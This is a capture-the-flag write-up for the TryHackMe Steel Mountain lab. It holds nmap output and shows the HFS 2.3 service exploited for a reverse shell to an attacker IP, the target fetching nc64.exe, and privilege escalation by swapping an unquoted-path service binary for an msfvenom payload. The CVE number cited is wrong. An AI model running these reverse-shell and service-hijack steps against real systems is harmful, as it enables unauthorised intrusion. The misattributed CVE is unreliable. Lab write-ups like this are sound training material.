

# SteelMountain

## Enumeration

### Nmap

```
PORT      STATE SERVICE      REASON      VERSION
80/tcp    open  http         syn-ack ttl 125 Microsoft IIS httpd 8.5
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_ http-server-header: Microsoft-IIS/8.5
|_ http-title: Site doesn't have a title (text/html).
135/tcp    open  msrpc        syn-ack ttl 125 Microsoft Windows RPC
139/tcp    open  netbios-ssn  syn-ack ttl 125 Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds syn-ack ttl 125 Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp   open  ssl/ms-wbt-server? syn-ack ttl 125
| ssl-cert: Subject: commonName=steelmountain
| Issuer: commonName=steelmountain
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2021-07-30T09:59:04
| Not valid after: 2022-01-29T09:59:04
| MD5: 2723 f795 ab28 b2ab e460 ab47 5f5a 27a5
| SHA-1: 83a2 028a e1ae 33f2 209f 68cf b196 a669 0a39 105b
| -----BEGIN CERTIFICATE-----
| MIIC3jCCAcagAwIBAgIQITwoVs9AfiNOMqQSPY5d6DANBgkqhkiG9w0BAQUFADAY
| MRYwFAYDVQQDEw1zdGVlbG1vdW50YWluMB4XDTEwMDczMDA5NTkwNFoXDTEyMDEy
| OTA5NTkwNFowGDEWMBQGA1UEAxMNc3RlZWxtb3VudGFpbjCCASlwdQYJKoZIhvcN
| AQEBBQADggEPADCCAQoCggEBAJQrylUfu++wEcXo7FWTrTSaBVuRizndTLbU+NIj
| h1XeYZ77RPODIpxvTFsTUoa0PzUHVBYPEXZUyH9TOUcmHAmVP3u1cnUsm6uQ8pCp
| /LsW50IVSiNVIKGBDBNAOIQTXMUCMXu+pZ4O06mysbgai2ouVBxAp+07Agw3QcC15
| va1iVNe/oiVSUzfgi29GcVuhAMSmF4/tkWQ7zumN8PZc7+eUaQVwWUiKsf9/Z488
| kIBGGktPBW7xZuA5/f83L+4Dyw+nxJcG16PSQglhdbScf/v/rpiyySqzuMyZxIDh
| 8BXZFjYqnDAa+89yWMFJWDU919dOyBwBCfNdXXHVC/Wc6e0CAwEAAMkMCIwEwYD
| VR0IBAwwCgYIKwYBBQUHAWewCwYDVROBPBAQDAgQwMA0GCSqGSIb3DQEBBQUAA4IB
| AQBhOd7Cn+9SJZ6dXQHdpqvKahVRwh2R1dwzkF3uG3upQVRxMOrcmYY5QOKWa/xb
| uvGddHuUCa16CmMuOPpoNvZVHuacWzQV3R58VYce77WSl8+xb6JE/263UXBtqiWC
| 6YOIO/3Lx4bS5qZzca5owh+m6f0RhFon+xy/l90+utmPasW5be+ZG+ddWNtYN2mb
| jj8T2PHkEiMicUKs9/CxeKLGrTFZ0Fypv4C++YxPxftc2Bg9jHQATqNcis6dAwDM
| zV0SSpLltz5gDQ/wQNxbds9hk3/Y5t4SFp1Fnyj+GoRPA26gSSMFhxreHfRiMqv3
| eKKZ+4PxexnZ+EgM7bkj24IM
| -----END CERTIFICATE-----
|_ ssl-date: 2021-07-31T10:02:19+00:00; +36s from scanner time.
5985/tcp   open  http         syn-ack ttl 125 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ http-server-header: Microsoft-HTTPAPI/2.0
|_ http-title: Not Found
8080/tcp   open  http         syn-ack ttl 125 HttpFileServer httpd 2.3
|_ http-favicon: Unknown favicon MD5: 759792EDD4EF8E6BC2D1877D27153CB1
|_ http-methods:
|_   Supported Methods: GET HEAD POST
|_ http-server-header: HFS 2.3
|_ http-title: HFS /
47001/tcp  open  http         syn-ack ttl 125 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ http-server-header: Microsoft-HTTPAPI/2.0
|_ http-title: Not Found
49152/tcp  open  msrpc        syn-ack ttl 125 Microsoft Windows RPC
```

```

49153/tcp open  msrpc      syn-ack ttl 125 Microsoft Windows RPC
49154/tcp open  msrpc      syn-ack ttl 125 Microsoft Windows RPC
49155/tcp open  msrpc      syn-ack ttl 125 Microsoft Windows RPC
49157/tcp open  msrpc      syn-ack ttl 125 Microsoft Windows RPC
49162/tcp open  msrpc      syn-ack ttl 125 Microsoft Windows RPC
49164/tcp open  msrpc      syn-ack ttl 125 Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Microsoft Windows Server 2012 (96%), Microsoft Windows Server 2012 R2 (96%), Microsoft
Windows Server 2012 R2 Update 1 (96%), Microsoft Windows 7, Windows Server 2012, or Windows 8.1 Update 1
(96%), Microsoft Windows Vista SP1 (96%), Microsoft Windows Server 2012 or Server 2012 R2 (95%), Microsoft
Windows 7 or Windows Server 2008 R2 (94%), Microsoft Windows Server 2008 SP2 Datacenter Version (93%),
Microsoft Windows Server 2008 R2 (93%), Microsoft Windows Home Server 2011 (Windows Server 2008 R2) (93%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.91%E=4%D=7/31%OT=80%CT=%CU=44611%PV=Y%DS=4%DC=T%G=N%TM=61051F88%P=x86_64-pc-
linux-gnu)
SEQ(SP=103%GCD=1%ISR=10E%CI=I%II=I%TS=7)
OPS(O1=M505NW8ST11%O2=M505NW8ST11%O3=M505NW8NNT11%O4=M505NW8ST11%O5=M505NW8ST11%O6=M50
WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2000)
ECN(R=Y%DF=Y%T=80%W=2000%O=M505NW8NNS%CC=Y%Q=)
T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)
T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)
T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)
T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)
T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)
IE(R=Y%DFI=N%T=80%CD=Z)

Uptime guess: 0.003 days (since Sat Jul 31 05:57:58 2021)
Network Distance: 4 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: Busy server or unknown class
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_ clock-skew: mean: 35s, deviation: 0s, median: 35s
| nbstat: NetBIOS name: STEELMOUNTAIN, NetBIOS user: <unknown>, NetBIOS MAC: 02:b7:2b:68:64:95 (unknown)
| Names:
| STEELMOUNTAIN<00>   Flags: <unique><active>
| WORKGROUP<00>      Flags: <group><active>
| STEELMOUNTAIN<20>  Flags: <unique><active>
| Statistics:
| 02 b7 2b 68 64 95 00 00 00 00 00 00 00 00 00 00
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|_ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 47918/tcp): CLEAN (Couldn't connect)
| Check 2 (port 50505/tcp): CLEAN (Couldn't connect)
| Check 3 (port 29382/udp): CLEAN (Failed to receive data)
| Check 4 (port 49419/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-07-31T10:02:08
|_ start_date: 2021-07-31T09:58:55

```

TRACEROUTE (using port 445/tcp)

```
HOP RTT    ADDRESS
1  193.03 ms 10.4.0.1
2  ... 3
4  457.21 ms 10.10.70.250
```

NSE: Script Post-scanning.

NSE: Starting runlevel 1 (of 3) scan.

Initiating NSE at 06:01

Completed NSE at 06:01, 0.00s elapsed

NSE: Starting runlevel 2 (of 3) scan.

Initiating NSE at 06:01

Completed NSE at 06:01, 0.00s elapsed

NSE: Starting runlevel 3 (of 3) scan.

Initiating NSE at 06:01

Completed NSE at 06:01, 0.00s elapsed

Read data files from: /usr/bin/./share/nmap

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 90.65 seconds

Raw packets sent: 66 (4.308KB) | Rcvd: 389 (167.358KB)

## POC

# Port 8080 has http file server running which is vulnerable to a rce (CVE-2014-6278)

## Exploitation

# we use the exploit now to gain a shell

# i used a exploit from github and followed the instructions and got a shell back

```
(root@CyberJunkie)~/Tryhackme/SteelMountain_THM
# nc -nvlp 6969
listening on [any] 6969 ...
connect to [10.4.30.255] from (UNKNOWN) [10.10.70.250] 49215
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup>

root@CyberJunkie: ~/Tryhackme/SteelMountain_THM 117x27
# nano HFSExploit.py
(root@CyberJunkie)~/Tryhackme/SteelMountain_THM
# python HFSExploit.py $ip 8080 10.4.30.255 6969
(root@CyberJunkie)~/Tryhackme/SteelMountain_THM
# nano HFSExploit.py
(root@CyberJunkie)~/Tryhackme/SteelMountain_THM
# python HFSExploit.py $ip 8080 10.4.30.255 6969
(root@CyberJunkie)~/Tryhackme/SteelMountain_THM
# python HFSExploit.py $ip 8080 10.4.30.255 6969
(root@CyberJunkie)~/Tryhackme/SteelMountain_THM
# python HFSExploit.py $ip 8080 10.4.30.255 6969
(root@CyberJunkie)~/Tryhackme/SteelMountain_THM
#
```

```
(root@CyberJunkie)~/Tryhackme/SteelMountain_THM
#
root@CyberJunkie: ~/webserver 118x27
# http.sh
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.70.250 - - [31/Jul/2021 06:14:37] "GET /nc64.exe HTTP/1.1" 200 -
10.10.70.250 - - [31/Jul/2021 06:14:37] "GET /nc64.exe HTTP/1.1" 200 -
10.10.70.250 - - [31/Jul/2021 06:14:37] "GET /nc64.exe HTTP/1.1" 200 -
10.10.70.250 - - [31/Jul/2021 06:14:37] "GET /nc64.exe HTTP/1.1" 200 -
```

#

## PostExploitation

# Got the user flag in bill user desktop

# We run powerup and now we see that we have certain kind of red flags here. One is unquoted service escalations and that too of a not so common executable

# so we will try to hijack this

# we gwt admin shell by creating a malicious payload from msfvenom

```
if exploit(multi/handler) > run
] Started reverse TCP handler on 10.4.30.255:6969
[-] Exploit failed [user-interrupt]: Interrupt
] run: Interrupted
if exploit(multi/handler) > run
] Started reverse TCP handler on 10.4.30.255:6969
] Command shell session 1 opened (10.4.30.255:6969 -> 10.10.70.250:49344) at 2021-07-31 07:46:34 -0
0

c:\Program Files (x86)\IObit\Advanced SystemCare>copy ..\priv.exe ASCService.exe
copy ..\priv.exe ASCService.exe
Overwrite ASCService.exe? (Yes/No/All): Yes
Yes
1 file(s) copied.

c:\Program Files (x86)\IObit\Advanced SystemCare>net start AdvancedSystemCareService9
net start AdvancedSystemCareService9
idThe service is not responding to the control function.

More help is available by typing NET HELPMSG 2186.

c:\Program Files (x86)\IObit\Advanced SystemCare>
```

# we get root flag

## Loot

C

## Credentials

## Flags

# User Flag

b04763b6fcf51fcd7c13abc7db4fd365

# Root Flag

9af5f314f57607c00fd09803a587db80